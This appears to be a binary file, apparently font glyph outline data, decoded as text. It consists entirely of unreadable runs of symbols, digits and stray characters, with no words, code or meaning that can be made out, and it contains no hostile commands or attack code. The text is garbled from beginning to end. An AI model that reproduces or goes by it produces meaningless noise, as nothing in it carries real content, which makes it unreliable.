%4%g      *  tBLi  +}  tBLi  +}u%1=HT2 '&'&'&'&767676?6"353#!5&'.'&'#3#!67>767$ 4*# B0L |  *4 )&T || LKNi232?67676547>?6;2#"'&'&'&'&=676763"# 76?6=4&'&'1     $"$     .%)0R6  , '* J ( q4,"  "$1g jO C8!$ 5Uwc     (%"76?64/&'&  ' " f%42'&/.#"'&'&?676?67>"7>4'&'&X=  ! $  &  f=          "  Afu"&546?6?6?6?6?6;2#"/&/&'&'&'&+"72'&/.#"'&'&76?676?6"7>4'&'& '  0 %80%-%   5   & X=  ! $ '   X         =       " t9\%!&/&'&'7>76?6;63#!>?47676"'&/&+";>7>754&'&tU8 $ i]      ) 31    @ U % $/    31  @  tGx7!>?47>2#"'.'&5476?676?632#"&'&5'.'!"7>=4/&/327654&'&+76?6=4'&: 7))69 )7   @C 6  6  40  ,5)73)  &7)5!  04 ]AC 7 7 Ag7!6?47>32#"'.'&5476?676?632#"&'&5'.'!"#";?>764'./&:  7))69 )7  E#  #  40 45*74(  &7*54  13 ]% < %  07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&462#"'."1326?6?267654&/5767676/.+'&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#k#6###? 31'' 2  ''13  ;;n 0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." ##6$" J );:'&J:;)  $7V2'.76?632".'&54676?63"#"32767>=4'&'&'& jl P  $ ml il O      nl4m2357676?6&/5#'&'&=#"'&'&7676;#"&'&47676;547676#37676?64/&'&'#37676?64/&'&' S     ,      6   S +-   -+ ppooppo1"-+^ ,('6$    -< ^+- -+  +- Ѧ  (    (  "#"33276?6763232676764&#"#"'&/&'&'&/7>=37654/#547676?63232654'&/&&%6      ; (3    WW  ) #"    : >)  FA   40      # ): CF2      I%g"#3#";#326=./327676?67673267>'&'.+&/3767676'&' " R= ;z}" }z ( =Q      [    \   !  8          5 %$  l"#3#3;267>=3676?>54'&/#53767654&/&'&'#67675654'&'.#"1&'&'./ Hcq   DDDD  z   z   DDDD   qdH  #\B  e T       T   d  1~]L.k2#"/&'.547676;6#";267>&/&"#"&6767622#"&/#"'.'5&546?&'&"7676?6764&'&'&#"#"&'&'&'&546767632676'&'.?'/  ! /     SV YS V/1 SV KM 652%!'$!#     6M(+'2#  + &  +1 4*3! (!3  T   %"'C?   gl   [Z&O $  #0.  6 ,    !&   *JN2!&'&'&'&='46?>76;6"# 7>?5#"'.'&=3' kl 4'--0 ! {R  N U TA il'4 * ח4% T L  EB4'&';     ( 3             0    0  N  d  N  2F2   $$3 T          v#'B[l2#'.'&/47>;6#3%2++"#&'./&7467673+&'.5&?>;6  '&54676"#!7>54'&3@"&`_  /3tM E82/   u  r  FN  d  N.1  n"5 "~     ^`& T        "  u+HLk|236#"'&/&/&=676?676;6&'&'&5476?67673#%#3!2323#"'.54676;6  '&54676"#!7>54'&  1U^% &/    /   r  C N  d  N.1  n"5  `^ +   [J      T    "  uZiv7476737&'&/&=4?67676767676;2#"'&/&#"747676#&'&+"&47676322#&4762#"/&'&7>4632'."32654&/& 458'  2#1#%$!a     (           " t  @ 8&:C#0*+  $      "':/(&;<   $ "'+   vcm%#&'&/&47676767676?6?654'&/&'&'&'&'&#"#"'.>?676;234632"&2'".76762#"'.7632'&547676"32654&u           !$) )  81,# 454 V$    !  r #    @   <;   6 ($!    %!.#<VF:4 $c!  $  " A v&Y]2"'"'&/&'&5767>;6!232'#&'&5&=#"'".676?3547676#323#'&'&/476?>;6!223"&/&'&'54767>;6#3%#35-W""    $0-(  ?#/    ^ ŦO?""Z` 2; 1  %  1צMS [I" $Y`) (- !  ^   / *, T"}   `Z" 5``  # Tu"'  '&'&7>?6#3%!!!!.5   5  ZRR`F 5  5\!TRRRT`1\p2###"'.'&547>76?67676376?6?67676767676776764/&'&#"327>7>54'&'&w      ! #   $ =`(" 4 26{1LLJK  =)+ & ' + D=",01  - !  0( "    +   Y]2G  ;F 2$R^&%K  =HK]% &  -{ 7=D" 3  u1?fv235?6767>32!"'.'&47>767676376;54676"!5'&'&+'&/5#'&'&=!!367>?%"27>?654'&W  { 7 (4    ;F    $ @#  1   i?6)   DDDD        ! u5Aky2357676?632#!"'&'&'&4?6?>76;54676"!5'.++"&'&'5#+"'&'&=! 7>?%"#";7676?6=372654'&+54&'5.W  " 3( 7   )  ;F        1     ))6 ?  DDDD    --    m      @FNv3321##"'&/#"#"'&'#'&'&/&5?67676736#37#324/67632;5&'&'&)32?676764&#"676%"?>?6& POC% <"36[Z%@F%<9  1j<< 0 "     -M   w#  dc2 =^ "+  2=  ,T{}}#' ' |    +   :   1)@Yw2'&'&4762'./&5476?>!2&'&7676767>232+"'&'&7676!2&'&547>'?>?'&"32?>./&    _   _ d -     C ~  OO)  d! #($ b  _   1" "m__   e -   A@ ((P4  !d"$(# b  _1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&2#"&54?6?6372&'&7676"3276?654'&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8$ !   #%/0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."# % $8! 1J%"&=76?4#"/&/##"'&'&=4>76367'&'&/&547676;26?4'#'&'&54767354671>3232#276762#"'&/&/#7'& (          *  LW         =4 , WT   * AA D :           ?_    4    ", =u  "& 7]  2<Zi2+#"'&'&/.=467676;5475476?676?6;62767?64 32"326?654&2+'.?6767362323#'&'&/&76;6#3;.=@ - % 3'!K*           B  U*  [ !     .W+1"># )4  4 0$ [s"  00 R ^   S      ( u5S#'&'546?676;60#&'&54?>73#7221'&'5#.>7676232+'&'&=#"'&'&7676;54760#"&'&'567>2!6762#"'&'523#&'.'&'56?63%2#&'&'&7673576?6#367>54'&/6   U   6   5   !8 +- -+    H     6=   =6  3!T  6 2  S     S >6 "-+ +- -+  +-" T    T  6  = =  6T  1ct%47673#"/&'&/&5476767676?546767632#"/&'&/&546?'"3!&32?67>7%32?67>7 (> % $=$ @@-     % $=$ 15 L )- )- @    P~-8    &&     "" -7    &&  bk  )*R & )*R & Maey%"'&'##"'&/&'&/&'#'&'&/&57>76;6323231#!326767676323#3#32?6762;4&#"7>%">'., (>  <eV y! /,(<! $ [ N   y C%5  # MJDY  !G`  &v|T   - 6  COW%2#'&'&54767>;7676767332#&'&/.54637/#"3725'&(.  >G  xB6  T W7   4vv. pq%%XOl*    >  ~    {|G0GDv"Ec~2#"&'&'547>76?6!21#"&'&/&/"'.467672##"&'&=47676;2"&'&'567>372##"&'&=47676;2"&'&'567>322#"'.'&'&=46?63!#""327>7676=&'.+%  13 & 5 / 40  J           40  ,5 /    40  ,5 /<    /&   :   )   ,   ,   T   )   ,   ,   T  <&   : &  2+mq2+"'./&'&=4'46?>76;6!2322#"'&'&=&'&'&'#/./&4?>?63#323'.=4>&=46?#'&'.'&5&=476762+"'./&'&=4'46?>76;6#35B4    #16Y-     6     6  #6u" ( B4    #1)S1."~"  !@## 8 -D" E: 7 S"E:  8 7 - ( D S."~"  !@## Tv&Nh0#"&'&'547>76?63+&"'&'=4.'&#"'&547676321 !#&'&'5&=46762732"'&'&'&=67>!"'#"6?67676=4&'1&  & 16 * o   * 5 / ( ؟`*  (   *45A  *V 1 V   /   A &  &  } #  &    :   &   1  13^u !"'"'&'&'&54'&767676;6"767676276763254&'&'&'&2'&'&7676#"&'.#"3!>7676='&/.#"2'&'&'5467632'&'&76763"#"76'&'& !    L )#* O y  41 0  12$#/$     Ob OO# :9 ;         " 1  $w&5  "K)95J T ^c41  13c^  )   Pc OO#, :: ;    #     !   1K`z2176767>'&/"+"'.'&=45676?'&'&?>?6"76767654'.'&267&'76?6%367'76?673267- e  @.&     "!W  56  #56KK56BmnlK56 561d   &!#   W#   [ 65    v 66JK66mmkK66 662:QW\"&5476767>74?4?632#"+"&'&54&/&%2'.467667"#"322676767>72?2>'&#'&#.'&'&'1&'&:             x A !! H !f              yfA! !32""2#327676767676?632676'&'&"/&'&'&'.'&0&       + " &   &  '    3) l%  , ZI!  IZ 0  % C\  %3\C %C\3%%3\C$  ZI!  IZ &0L.V%#&'&'&/&5&767>7673+32"73#&3767676?6'.'    =H  ,**, d3?;  CG  F Ok 2       ! v12+"'&/&'&/&54767>232736767>?676?6?>?67654'&'&'&'&#"#"&'.7676?6?6?6?676?63"#"3274?>323276?>4'&'&/&/&/&&,)(56, #      #9 #    . !%9-")        "2      &&#     "1 @54 YF        :$  " C4+$ !(   '    .  *!! $ +=  %;K`q2!3+32 '.'&7>?6;62'.76;2.546?6346;2/&=&7#">'&/& 邃   |   X  "  #   }  |    #  &  M2*PTm2#!"'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'#"'.>7>327"27>.'.  * R D 'S.\  BE% TA  .. }( ..1 C%0 C - -1T؟`*DE  &V;A!>] ] !!  !! ] ]1R7#"'&'&'&'&'&5'&767676?6?6?67676;2+&/&#"2'&'&/&/.=45&'.'&'&"#"'&'.547676?676?4632#"&'&'&'&'&'5</&/&/&'&2'&'&/&'&/&=&676"7676='&/.'&  $  65FD   %/8 %( E$     4      %8        /#   A !    l @<>C>"     %Q-'J" ,D ;81 $   .iE "          )+2 8&  j   svS/ # b# :! % :A   2Fl  %1/3=23+&'&/&/&5476?5&'&7676#3#!'4/SQ"  ST! TT*6KK1      TTd1V2232+'.='&'&/#"&'&47>;74?6?67676?5467676#"3276736?676?6767654'&/&'&/&#"2654'&'& ! &%6   bAX  xR7   7B+      3   4B    =W "8"  1"  ,AX xR6  bBT  #B   "(1Z=    ,  +"  3&"" 1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&"?676./&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8M    0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%  1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&">76'&/&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8 0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%   'K]i{!&'&'&'&=47>?>;6"#!76767>'54&'&'&/2+"&?>"&546274632#"'&/&72+"&?>2/.6763#&5476;6;7#"?>'.Z !  ' x3C! .3    # s          } 1&J       @@2 G @@. TZ:8:S  S$ ):    ,   !u+;M`!&/&'&/7>76;667.'%#2".46763%"#"2>54& #   ;!  $     $!  (   'g a     #t>v2"'&/&'&'&546?676?6763%"276?6767>54'&/&/&. +        ,      W    .%<  6C*-/9&#)     BDO^?^.-"     );F P h  If+#n]LK 4bt2354?6767632##"'&'&/&'&=#"'&'&'&'&=6767673547676#32767>75    94    >A), -  U_ 1 BAAB  BA % $3    vAB  #02"&'&76!2 '&546?6;6!"2?676& " " X" m" &       %0L2#"'&/&'&767632327>767'&/&?676?& A) *  8H"!,O;"A <:  &@;i'+#6Gq!A) )    (%    <:e/!7 Gq K&:2#".=4676?'&'.=4>76"3767654'&' =\\= o+       =\\>     vh  '&'&54676;601&'&54676;63 ++&'./&4?>76732327273>54'&/&'%"#"27367676'&/&R ^    @*  @(#  ]] ! ( " )2:     "        *D   $\\"  ,       u1R2#"'&'&'&/&/&'&/&'&47676?6?6767>?63#"132676767676'&'&'&'&/.+&'./&5476?>32"&54?67>32"767654&/&"+"'&@? "   W! '   A5%1   .  K2 &$FP @   +'%$-;/'#  $E  'S  X  X~-,  X  )-    1   $$.( .fi   )  PB$S&(   T( 3^=0^0 A   7-G8B50"7X  X 2 -+  XU $  15Ags"'.'&'&#"#"&'.5476?6?6?676;22#"'&762#"/&'&'5&547676%2#"'&76"276?>54/&'&'&#"'&/&/&'&'&?>32"&476?676767>32'"276'&'& 0 08  9K"" {W u     # K. .     $      '#-      !C  $T6        ,  A         E  "  %)$ .&')!." T "  " [  !;JW     2(  9# *_*   )''  -"" &/?Wh23#/&'&'&/>?376?6"37'& !67676?42#"'&'&547676#";26=4'& adOO W *  >** OOde :;75/"&?676736!!2"&'&=47>;2"'&547676;#"2676=474&/.  ~^  '       F:    <  1;@  A6)L ~  !     T# x   \ !C?  ?C   x   . -]aej'&'&%"'&'&5&67>763 &'&/7676?6;57>?6;632+3#3'#35 t   ÿ ^  +  SSSRRS  JI Z' VU  01"  SNRV^v23#"'&/./!"'&/./#"&'&'&5476?>?6;6#37#37#324/354'&'&'&/&'&/&#"2!767676762;5#"'&'&/!3276?67676"654&'&!"654&'&).#$3- !  - !  '  }}||.:;V! m   +-= JL    !%@Eh:&   '  '     T}}}}}]4# %   |    S%%8r%47673?4'#&/546?6?!.'#3#'&%";>?;2676/&/7>.'&'&'&'& ?FH   B   GG$ 0^0 6   8  %   ' o   '         8   6 '( tBJP2"&/#&'&/5'.4676763276?63&'63679 CA     <   |66>>66>l9   CB   aa<    56>?56>k1X4632.476?#"#"'.476?>?546?67676?67676;/&'&'&%2+/&'.'&=47>76326?676767675'&'&'.5476?6?67676#"32654'&/.";2>&     /:)     &      kN      "       !^[*3! 7!.  ' "      !.  ' ?K       # *   T#    !1JPkx#"&'&76%763232+#"'&/!#"'&'&'&47>76;5737#3767632=#"'.'&'&'7#3'&'&'&/&!72?63'"?>&'&!"?>&'&K4*%    &"3 "37 -+)*S4)&MU"KK  C$n ,, +-}    H &++   u" "* !u_} LU RL %W{   ,0 * )" " nuy23233676?6;232#"&'&/5##"'&/&'&'##"/&'&'&'547>;547471>767354>;6#3'&'#3!72?63?676?6325"67>'.!"67>'. !   B@)  +- C?) B-  !  z ._c SS$6 ! 1   a l     4E?&1 &sB,  TRTZ' #/z% % 42#"/&'&'&'&'&/#"/.'5&767676762#7>7654'./&/&'&#"1#"'&'&?6767676?6?63"32654&'1&/54&/&'#&   S-  -/J2F`:7)0       8A,2 5,BDQf0  3-#nM! I   +N4*+ " ). '%3 2C,  D3mO K5( ,( %   !  >  uX&JA$@ 3 It     W:' *. '&p  v0v476?3676763!+"&'&'&/#'&%"11326716?132654&'1&/7671>54&#"1'&'&'& h  # i6  (:""    (  i  4F  !  Pu H    ' 0|%674'&'&6?676?5'&'&5476767632767632#"'&'&'&54?'"#"/&##"'&'&54?>32"6=4&"267654'&'."3276'&'&!"264&#    %  "  9  ? 2! 8 0 ?,18)? I%  B,  ! &4#    B " !C  `*$ %`   $ - . I%   -!- (8 %0   /   #  !#20<S#"'&'.'&7>76?547676?6372'"35&'.2 '&'&54676;6#3276767654'&'&'&'&/5(&=- 7  & #~ Si   E)    +&    h! +4]= 747,@1 8|!A@z       TLG     23?r#"'&'&'&'&'&'&7>76?547>76372'"35&'.236+&/5#".547676;57676?63#3276767654'&'&'&'&/5(&=-    3+ #~ Si I  ,, 0 -+)    +&   h! +4]=  ,@*0 8|!A@z  ) 0/   /0 ]  ] LG     #1Uk  '.'&5476?676?667.'%!2&=4?6?'&/&=476";26?>=4'&'&')6 )69 X  @D 1331 ?  ?   4(3)  &g @D  1331  <  ;Wgw2+#"'&/!#"'&'&'&47>76;547>?#3767632=#"'.'&/4'3'4/.'&+!72?63'"?>&'&!"?>&'&B.%$    &"3 "37  B )&MU"KK Z,n  4" +-}    ,  ) x" "*  S6 LU RL &(@ 0 * )" " tPw2+;27>76#"&/&'&'1&5&=#"'&547676?6?676?6;6#"!54'&/&/&'&'&'&'&OB56 %   3  & "!4'&  +  ') @   - %P7@ *?& +Kp UG;4' T :      '   0)Y2#"'&/&'&'&547>764632#"&547>767654/&'&'&'&'&"#"27>54'&/&/&'&23.'&=&'&'&/&/&+"'&/&546?67676?36">7654&'&/&+  *": '(/ -   *  ' 5(  F+D!   X!, ",66  $?0I4  !'3-%:/N;+$  &   ' # 4!  `),5-6 )"$& ,26% #!   6"0;@ 61#T2'&'&=#'&'&476762&54?6?#"'&'&7676;'&/&546?63%2323"+&'.'&'=67676?6" 7>764'.'&#54'&  N %`b b` $    $DA     1 -++-           CA"  -++-"1#Iw '&'&=!'&'&47676232+'.4>76!2&'&76?#"&/.547676;'&'&47676" 7>764'.'&!54'&| f #aa aa#    #"    \a#    f 1 -++- %  %   %  % "  -++-"Ma%"'&'##"'&/&'&/&'#'&'&/&57>76;6323231#!326767676323232+&'&5&=#"'.76?35476763!#3#32?6762;4&#"7>%">'., (>  <eV y! /,(<! $ [       N   y C%5  # MJDY  !G`  &v -      |T   - 6  1)5GYm23 '.'&=467167>7567>76;6!32/.5476?632'.5476762+"'.=476?6056763235&'3%"3276?64&~!   kn l;`P5 #    p  }STSS}   1  N3lnTP5 G        zSSST  #2`23232+"&'1&'54'.+" '&'&7676;'&'&>327676?6767> 76767'&/&/&'&'&/&#3547>76323  .(; b 5    N3    -+ b<6%4    ($ "+  C0' " S&(S1  1%!p! HD  DH   )!p/"1  (     /1 /  1/#$1EIin2 '.'&='&'&'&'&54&767>?5&67>76#3"367>7675&'.'&#35 7  6'     7  6&  զT   !"S10./W'6 .  0./W&7 I T)T  ! ))7$N2/&'&'&'&47>?63"#"?67676764'&'&'&/& 22]    )A  ]]   )AA)  7  22^    )A    ^^   )A  A) &N2+./#"&'&?6767676"276767676'&'&'+'&'& A)   ^^   )A p  )A  A)   ^^ A)   ]]   )A  )AA)   ]] ta;Uo23#"'&'&547676!2#"'&'.546?>?6;6!2#"'&'&47>?67623#"'&'&547676!2#"'&'.546?>?6;6!"327654'&'.   "   9       (. "*       "   9       ( .%. "` !       4  "  !         !%.4 -Mm2#"'&4?>!2#"'&4?>2#"'&'&5476?676;6!2#"'&'&5476?676;62#"'&'&47676!"327>54'&'5.  !- "   !- "     !      ! )    !' / !   '4    '4    "      "   '"  *  4 &  u/*O2"'&'&/&'&'&'&=7>?676#"26767676='./&'& & $z<'-08,  ,Tk # ~ ~ I/ 1 2 NS $  $7 %2@ TJMRPi,072#"'&/&'&'&/&'&'&5476?6?>7632##"'&/.=41"327676?6?6?654&'&'&'&'&'&#"#"'&632#"'&632";276?676764&/&'&#"'&/&'&mC %(1.8@!>%#  +`    %O8    1 K?k@ %3!?#(  *     -       0Nx 6/*)>%  %42>H*$& Vx   ?) (S!?#-   +u $5 ."  # #     1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&2&'&76!2&'&762#"'&'./&'&547676#";26=4'&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8"  " n) 2!*      0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."!   !@%  ( T  Ro2?676762"'&/&/&/&'&'&'&'&'&'&546767676;6!2"&'1.476767676"#"3267654'&'"'&'&/&'&7676?&'&,\+) &%%# #   ej   - "?>L .'% #/v  X   EF ' (&Id:7BE UF%"+7je   4 %)+# *  &-$*5b]  &  Y  FFSK\65g>$ GD72 +Q+2  1/v232+'&'&=#"'&'&7676;54762?>;#"/&'&/&'&'&'&54767676;6"#"32767654'&'"&/&'&/&'&/&'&76?2/& 5   !8 +- -+ S_++&'    lm    2.IVMWI  #0 ' $ i,-      Q1"-+ +- -+  +-"* ml '&++aa#  <It.<4E-," S  IK7A! \$ GD72    2KJv N27276?6762"'&/&/&'&'&'&'&'&'&547676;6"&546716?'&'1.5476327671>3211#"&'1&/1%"#"2767654'&'"'&'&/&'&7676?&'&*  Y5%# #!( - t .'% ..    u' %5;35$M  UF%"+7 ! 4 5Y ` + ! A  &-$*5b] 2        IK7B,?1*   GD72 +Q+2  e#"/&'#&/#"'&'&/.'&'&54?&'&'&/&'&5467>327676?632%#"1?6?6767654/&'&/&'&/&'&&'&'&#"6"13276?'&'&/&'&/&4;&'&/&'K!  !#  #$2'( .C    '!?K 4' 10  " "!(5/  (      %  "=[  #D"!  #%A/ $     V6       9")! #  "3'   # Q8      "&# 3 & z."  K8P4&/+./&'.54676?6;6;2+32#"'.'&=47676;67"#"76?3276?767&'&#"'&'&W  ! ! "    D   (% 9?   49   3      00/1 P!  #    ( )       C #   >A>@ @n46;#+"'&/&=#'&'&/&4767%723276"3!547>?35'+"&'&'&/4Q 6  ^  2 ^  # WW/0  0/   0 E  &  W &  :   '  ["%"/'&'&76/#"&/#"&'&'&5'#"&547676?5'&".=#"&/&'&?676?'&'&546322?5'&"#"&5476?'&'&/&?>3254675'&'&'&46327547>76327>32376'&7>76762#"/&"2?62'67675'd . RT2     -;((       ( FF (    !RT2     -;Q! .   $::%   U**%'  ,/0` !     `",        (b(       ,/0`       `"/,        !b!     X11111u "!6?4'&#"!576'. f5  !    EJ  5JE  ^>" ^2623547>32#32#"'&/&/##"'&/&'&/&'&546?6767547>76;6016;23676736;5#&'&'&/##"32?6?67654'&'&'&"&5462!"7>54&VM  #% 1. 3.)  ,  $@)V<  #  D    , "  %&.     !   Y]BE%! }LR#.  1 & <    $# }   A2  | \^(  +#    M8'd2+'&'&/5#".5476!"7>=3276?7>7656'=6'4.#"'&'&-m  #   4  d        00/1 7!         >A#!  !    '@?'  >A>@ u$+7476736733!&#25'#7'# 5' @33@ P)j1zze))@ Z   c|?>>>||2WK&'&5476?676?63727632+.'5#"'&/&'&'&=&'&54?67674&547>?>56'&/&547>54'&'&#"'&'&/&'&#";5'&'&7676;2757676327676323276?>?6"#";7676=327>767=&'&/7>/&/7>767=&'.'.d #&)" 0$ [ #  !       '3     F       G   - ;>E 2"   ~ =>A  w  Y %(4`!2,      '%         '   - %     AG ;;  0  Hk   -   ;>  2  +- -+  <>  x    K0)Rgv2#"'&/&'&'&547>76"#"27>54'&/&/&'&2#"&'&'57676462+"&%"#"7>76546?676762>76=4&/&'&'&'&'+  *": '-' 5(  ~  &  -6  8!  %4 %#;0I4  !'3-%:S' # 4!  S IH      +  (6 2" !4$""6:$"u/_p2#'&/&'&/76?6?676;6!"'#.'&=&6?6?67>763676'&/#%*3>7.'-/'  (19;  : #   90*6  >j3- #  j     ( (   ! 4)4$     v+Bo!#&'&'5&5?67676;6"#;67>75.'2!'.'&/&/47567676;6"367>7675'&'&   & *S"" #$R$  /8   #    u "   %0S09 "Tjj 3.0     905  Tj  -24#"7>?>32"/&/&/&4?6??676764'&/&#"13;71676?6767676'&'&'&'&  $ K   SZ $*  2 )'    3  L2  ! +    " 2 u4cy276?6227676?6+'&'&=#'&'&=.'&'545676?6?'&'5476"#"!'4/&/&'&2#"&'&'567>!2#"'&=67>#!W         #  !' &  "7B!$! ¦L1       =#5   !85   !8E70 ~@" l&    %m *#L[2#"&'&54756767627>767632"'&/&"#"'&/&'&'&/&/&/&4676767676?63#"72?632376?6767&'&54767'&'&#""/&'&P  * ' 0  -  -)"         -'         )     2    /#   $" Z ! 9         "   "!!=J"%S ,& 78     $ (9/$   1<`2#"'.'&'&/&'&'&5476?6?676763"#"676763637&/&'&'&/&'&&71&'&/&'&'7"32767654/&'&'&3"276?676?>76?6?6?654'#!&%)(&C#(2-8@%!F$%  #  #DXt   1=Y$,Q   8   <%X" )     ,- x&8 ( 0  -Nx H>35  42>H*$& F:KS 8('+  "   Fc "  " &%   6 0-1;Wq2#"'.'&'&/&'&'&5476?6?676763"376?6?./&'&#"76767&/&/&767674'&/&'+76?6?6?6?6?6/&'"#"?676767654032767'&'&/&#!&%)(&C#(72?J%!F$%  #  #DXt  '  / , 81 1"$;P19#$  /*;    "F%Op        7 )#('! .&"# 0  -Nx H>35(%  42>H*$& F:KT ; # #%1  3),9!)  D $         p 6Z  7B " "  08&#1D2+3+"'./5#"'.'&47>76;547676?6;6"#"+32354567676;7'#"'.'&=45676?676;5I @>DD. (- -(  (-";%.  *3  +)/ R0.8 %0-1 )    S;5#T  ,  R|/ Q*   S$19>CH2++&'.'&/&7>76;'&'&47676!3#!&#5 j[X   ki  MK[X RSdR5461[Xik  [X TSSTS55ju-#"#"&'&'&/&/&'&#"327376?654'5&767676'54&'&/&'&/&'&'&'&'5&5476?6?6'54'&'&547232?63632276?6?6377>765'7676?676?654'&/&/.?654/&'&#"'&/&#"'&'&'&   .*A      &    *       )& %   !(R   $-1   4<  -%    -( 3       !  R /    $#     #   1M   ec'  !3        4';23?676/&'&476767617>'!&'& ;77; ?@ @? RPL1  -   |~~|% "*4;C2#%&'&/&'.7676763#3&'%&?'&37#376' a)- ~ aaaed%'ed,{ 21JJT *"L1  S z??I4)U|{0#"32767676?67676?6&'& ;#"'&/&/&'&/&54?6?676?6?67676327>'&'&/&#"$3! ;  d!40-"1 "  Y  $8+'%  2%  ")"  &)  ,MH0 +'!/(6!&~G d "'IP    [G     KmNA      ! 0 u7O_23+"'&'&'&/&'&=4767>?6?6;6" 7>76'.'&4632#"&2#'&'&'&'&767>?63"#"326?64/&'.)C$ ,"; DDB0 ! %]YT4(Z)34( <+%    +    + ,'01D~}- 3," 0#  DD&+!  TO(43)Z(4j".$/)   $/)"S*     "1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&2#"'.54?>76?6#";276767567654'&'&/&'&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 80*  9 +3)%& )     0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."S *?CEc9 )%pHJGT"   %""   $t3Bm2762##'&'&57#"'"'#&'&57>76?6;6364?>76?6?6767654/.'&'&'&'"+"&"#+37>7676?326?>7>54' ,2'a( `"9!%, @= * **  A=6)#  -^  1   /2y8 )@%Z  D ':1 e M&92 z +*U3! 1@%(* H J3  /# 3(1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&"&=676?32"?0#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8X ] XIJ2LJ20  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."  8 *+41<2323"'&'&/&'&54?676;6#&'!2D KJ    e\ MNJIom !   s   T  Vnll327676767323#"#"'&'&'&'&#"./&'&/&'&'&76?6?654/&/&/&'&54632767>?6723#"3276?676?67676?'&/&/&/&'&/&=&'&'&/&/&'& ;    )      "      "    " I0   (     *  !5     2  'ZB   $    1           " r4(%; T"-$          <)1 * " %G2#"&'1&/"./&'&'&>%$6 7'&'&=67>76732wTU  UY10  *' 5 ,, 6    UYA@  {vK knnr'>73276?67'&'&/&5476763274?6?6?6?6?6;6"#"#"'&'&'&/76?67676767676767>?#"'.'& '    0'= /I'&(1!!& 9    #  F .   6,(     !  -/.#,!"&   $!2  D.+< %Q0         (32*?F=33"        80:Oa\.  &  S8,    4,) *  ) $0$?%.'9   1>Ph~2#"'&'&'&'&547676767676763"7&'&/&"76?'&/&''32%&'&';54&'&/&/&'&'&6767'"/&'&/&"76?'&/&'676?6?%';54&'&/&'&'#!&%)(&C-- '!1cQ@>#%"5$&CJ  2 ff4  U . )#w  '% + ..     fe 0  $ C . )"<4!$ ..9   0  -Nx nO - ' >57AK J;5.! U fe4+&/4    /  +#!./     |ff(.F  ] !) /   4 .9*  [./$   %1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&2+".7676"&54676372"#"264&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8O    k%0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."} & ! } $)&1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?6?6&/&'&'&'&5476716?6?6'&'&/&'&767654/&'&'%'?676?6?654&'&'&'#!&%)(&C#(2-8@%!F$%  #  #DXt      )        8, &2 7   0  -Nx H>35  42>H*$& F:KS  (8 ,= - !  $"#5 %+))  q3+ 8 &0  Ke$$&& Ip%+   !9 $5 1<a2#"'.'&'&/&'&'&5476?6?676763"12767676?676;654/&/&76767654'&/&'&';26?67654/&/&/'"#"?67676?6;6?654'"767>767'&'&'&/&/0;7'./&#!&%)(&C#(2-8@%!F$%  #  #DXt !0*% # a#     '+    FR:  )29?  !  #S  ,!@ # $    =f%0  -Nx H>35  42>H*$& F:KV $8    OZ%" &''"$$J  ;-  #F=66#  06  )'      #N(  Y8 $R43232?6?>?632'.'&'&54?676?6?676?6?6767632767654'&/'.76767654'&',  !     S$8$("4N @    >    " 8,$)   -  6 +/$$'7(%  (#'$iH  ( Pr)   &h  !#  0&! &3H   "  ' v[k27476?67>;54767632376326321##"&/&'&/&'&'1&'&/&/&'.547>76"'&'&/4&'&"/&'&/&#&3276767676?676?654'&#".'&'54'4'&#"&'&='&     ,=!    <0     2$  H      (  8#,9"         d_'=  fg  HC *4       [?   # <:= ) b-3  ! ah   ! %' v[f21>?6;2732732+"'&'&/&/&'&'&/&54767632767676?6763"&'&='&#"/&'&'&#"326?67676?6=&'&#"&'&='&#"'&'&=&       7O!3 F8$ "         ' 8?  #?%/2       '   MH   +, 8 %-%A0"      %' *di  24     2232767632#"'&/+"'&'.'&5'#"'&'&'.5467676?&'&'&54676767632747>?6;6##"'#&'&/&1?673632356763236?&'&476767'&##"'&/5)  '6    _j  26$/+  I   VF#.4*   B:  u)-c  T  $  ) 1  ?B  *  7> & (& B   ?B+   #( 2''#' o T &" 5V  CG;  `>`! RF` 2Jay46;63+&'&/&5%2723!'&'&/&76;62"'.'&?676736!2#"&'&?6762"'.'&7>76!2 '.'&7>762723!&'&/&76;6!"#";676?6=4'&'& %D  @< (:8t  b      Sm      (:7t   c$ @<    0                  1!<W27676'.47654762/&/&'&547676!2'&/&54?6?63"&47676767632#"'&'&/4/&'&#"'#'&'.?>3!#&'.5476?>3  7367676'&/& %        [ %-:5+       7     7     1"MK#KM"   ,'  /        S  $       1F|"&54756767632#&'.54767;72767654&/.#" #"'./&467627>54&'&'! '&'&7676"'&32#"'&/.#"32?>75654'&/&/&/ )         - L5 ! b "*  ' , *! tz "  % 0=     +        +  3 j' *   !      $     54&<8+1  )(#&$8"#!3 #>Id    , 